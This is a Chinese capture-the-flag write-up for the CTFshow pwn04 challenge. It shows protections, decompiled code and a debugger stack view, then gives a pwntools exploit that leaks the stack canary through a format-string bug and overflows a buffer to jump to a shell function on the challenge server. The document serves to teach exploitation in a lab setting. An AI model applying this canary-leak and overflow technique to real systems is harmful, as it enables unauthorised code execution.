# 1、CTFshow-pwn04(基础 canary)
好久没碰过 pwn 了,今天临时做一道吧,毕竟刚联合了 WSL 和 VSCode,想着试着做一道题看看,结果随手一点,就是一个很少接触的,拿来刷刷:
先查看下保护:
1 2 3 4 5 6 7
| root@MSI:/home/g01den/Temp [*] '/home/g01den/Temp/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
|
除了 NX 之外,似乎就只有 Canary 了。反编译看看:
有用的只有 vuln 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| unsigned int vuln() { int i; char buf[100]; unsigned int v3;
v3 = __readgsdword(0x14u); for ( i = 0; i <= 1; ++i ) { read(0, buf, 0x200u); printf(buf); } return __readgsdword(0x14u) ^ v3; }
|
发现了个事儿,for 循环会执行两次,所以这里采用第一次不溢出,通过格式化字符串漏洞对 Canary 的值进行泄露,之后就可以在合适的地方填入 canary 的值来绕过 canary 保护了。
因此,思路就很明确了。
之后通过 disass vuln 查看汇编代码,发现了重要的一个内容,它在 ret 之前进行了一次异或,且指定的内存为 [ebp-0xc]:
1 2 3 4 5 6 7
| 0x08048677 <+73>: nop 0x08048678 <+74>: mov eax,DWORD PTR [ebp-0xc] 0x0804867b <+77>: xor eax,DWORD PTR gs:0x14 0x08048682 <+84>: je 0x8048689 <vuln+91> 0x08048684 <+86>: call 0x8048450 <__stack_chk_fail@plt> 0x08048689 <+91>: leave 0x0804868a <+92>: ret
|
由此可知,cannary 存放的地址就是 [ebp-0xc],看一下:
1 2 3 4
| 1f:007c│-00c 0xffffd56c ◂— 0x7493ea00 20:0080│-008 0xffffd570 —▸ 0x8048768 ◂— dec eax /* 'Hello Hacker!' */ 21:0084│-004 0xffffd574 ◂— 0xa0000 22:0088│ ebp 0xffffd578 —▸ 0xffffd598 ◂— 0
|
目测 cannary 的值为 0x7493ea00,那么, 想要泄露这个值,需要使用格式化字符串来泄露,那么,来判断下对不对吧,我们输入 %31$x 即可泄露:
根据这俩进行计算,可得到偏移,结果是 0x7c/4=31。
之后就是具体进行溢出了,计算溢出的长度也比较简单,这里直接上答案吧,116 字节,不过,第 100 到 104 为 canary 的值。
由于存在后门函数,所以 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
Locale = 0
if Locale == 1: io = process('./pwn') else: io = remote('pwn.challenge.ctf.show',28203) context(arch='i386', os='linux', log_level='debug')
io.recv() payload1 = b"%31$x" io.sendline(payload1) io.recvuntil(b'\n') canary = int(io.recvuntil(b'\n'),16)
getshell_addr = 0x0804859B
payload = b"a"*100 + p32(canary) + b'a'*12 + p32(getshell_addr) io.sendline(payload)
io.interactive()
|